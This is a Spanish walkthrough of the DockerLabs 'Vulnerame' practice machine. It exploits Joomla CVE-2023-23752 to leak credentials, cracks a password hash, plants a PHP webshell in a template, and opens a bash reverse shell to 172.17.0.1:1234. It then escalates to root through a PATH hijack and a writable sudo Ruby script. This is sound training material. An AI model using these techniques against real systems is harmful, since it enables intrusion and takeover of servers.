DockerLabs Vulnerame

DockerLabs Vulnerame

Esta es una máquina de DockerLabs de nivel difícil

·

5 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos el escaneo de la dirección IP y podemos observar que tenemos 3 puertos.

Al ingresar a la dirección IP desde el navegador solo observamos la página default de apache2.

Realizando un escaneo de subdirectorio podemos observar que tenemos uno llamado WordPress.

Ingresamos al directorio y al desplegar el navbar tenemos un login que es lo que llama más la atención.

Realizamos el escaneo del subdirectorio de wordpress y observamos las siguientes carpetas.

De todos seleccionamos administrator y observamos que es un login para Joomla.

Como no se puede observar la versión de Joomla encontramos que un foro hablan donde poder encontrar https://forum.joomla.org/viewtopic.php?t=911138. Nos dirigimos a ella podemos observar que es la versión 4.0.3.

Buscando exploits para esta versión podemos ver varios y el que se repite es el cve-2023-23752.

En la página de Joomla vemos una breve descripción y tenemos una idea de como usarlo.

Podemos ver una explicación de como explotar la vulnerabilidad https://vulncheck.com/blog/joomla-for-rce.

Revisando la página notamos que realizan un curl.

Pero podemos hacer la consulta directa en el URL y el resultado se vería mucho más legible.

http://172.17.0.2/wordpress/api/index.php/v1/config/application?public=true

Luego de ello podemos observar que tenemos bastantes datos, entre ellos un usuario y un password.

joomla_user:vuln

Ingresamos las credenciales en el login de joomla!, pero no son correctas.

Revisando notamos que en la parte superior indica mysql.

Probamos conectarnos por MySQL y observamos que sí podemos acceder.

Listamos las bases de datos y no tenemos otra interesante aparte de la joomla_db.

Listamos las tablas y podemos ver posibles tablas que nos pueden ser útiles.

Listamos los usuarios y podemos observar que tenemos un usuario.

firstatack:$2y$10$UVmUci/wKgu7LFir7KIzP.NDup3lYDUxPzz7WZryvEYVdUjUVhou.
firstatack@dockerlabs.es

Como obtuvimos el hash, creamos un archivo con este y usando john podemos observar la credencial.

Probamos las credenciales en joomla!

Estamos dentro.

Modificaremos un template para incluir un webshell. Para ello vamos system y seleccionamos site templates.

Observamos que el único que tenemos es cassiopea.

Al seleccionar podemos ver lo siguiente.

Seleccionamos el archivo de error.php y agregamos un código en PHP para probar si podemos ver el contenido.

Después de guardar los cambios vamos a una página que no existe podremos ver que se ejecuta el comando.

Ya que sabemos que se ejecutan y donde agregaremos una pequeña shell.

En la misma página donde observamos el comando agregamos el parámetro y podemos observar que podemos ejecutar comandos.

Debemos obtener un shell y para ello enviamos la bash pero URL-encodeada para no tener problemas.

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Antes de enviar la consulta iniciamos nuestro listner.

Enviamos la petición y podemos observar que ya tenemos acceso.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Una vez dentro realizamos un sudo -l y podemos observar que no tenemos el password.

Listando los archivos del directorio home notamos que tenemos 2 usuarios y guadalupe tiene una carpeta interesante con el nombre de -.

Debemos salir de la carpeta guadalupe para poder acceder sin problemas, ya que la carpeta tiene un guion. Cuando ingresamos a esa carpeta podemos observar que hay un archivo llamado passwd si abrimos parece estar en base 64.

Tratamos de leerlo, pero notamos que es un archivo de .txt.

La manera más práctica es usando CyberChef luego de pegar el texto observamos que nos genera un archivo pass.tx. El cual descargaremos.

Leemos el archivo y no indica un password y, ya que estaba en la carpeta podemos imaginar que es de ese usuario.

guadalupe:sheena

Probamos la credencial con el usuario y ya estamos como guadalupe

Realizamos un sudo -l y podemos observar que para elevar como ignacio debemos hacer uso de un archivo llamado scr1pt.

Tratamos de leer el archivo, pero no podemos, y si listamos el archivo notamos lo siguiente.

Como observamos que no encuentra un archivo llamado ls podemos aprovecharnos de este y hacer que nos genere una bash con el usuario ignacio. Si vamos al directorio no observamos ninguno aparte de uno llamado hola que fue creado por guadalupe.

Creamos un archivo llamado ls y dentro insertamos un comando que nos genere una bash.

Ejecutamos el archivo scr1pt y podemos observar que ya somos ignacio.

En el directorio de ignacio listamos los archivos, pero no observamos nada, por ello si realizamos un sudo -l podemos ver que para elevar como root podemos hacer uso de ruby y un archivo llamado saludo.rb

Ejecutamos el archivo y notamos que es un mensaje de ánimos. Notamos que podemos leer el archivo tratamos de ver los permisos y nos pertenece. Así que podemos modificarlo para ser root.

Para obtener una shell solo agregaremos el comando exec "/bin/bash" en el archivo saludos.rb

Ahora lo único que debemos hacer es ejecutar el comando y ya somos root. De esta manera culminando esta máquina.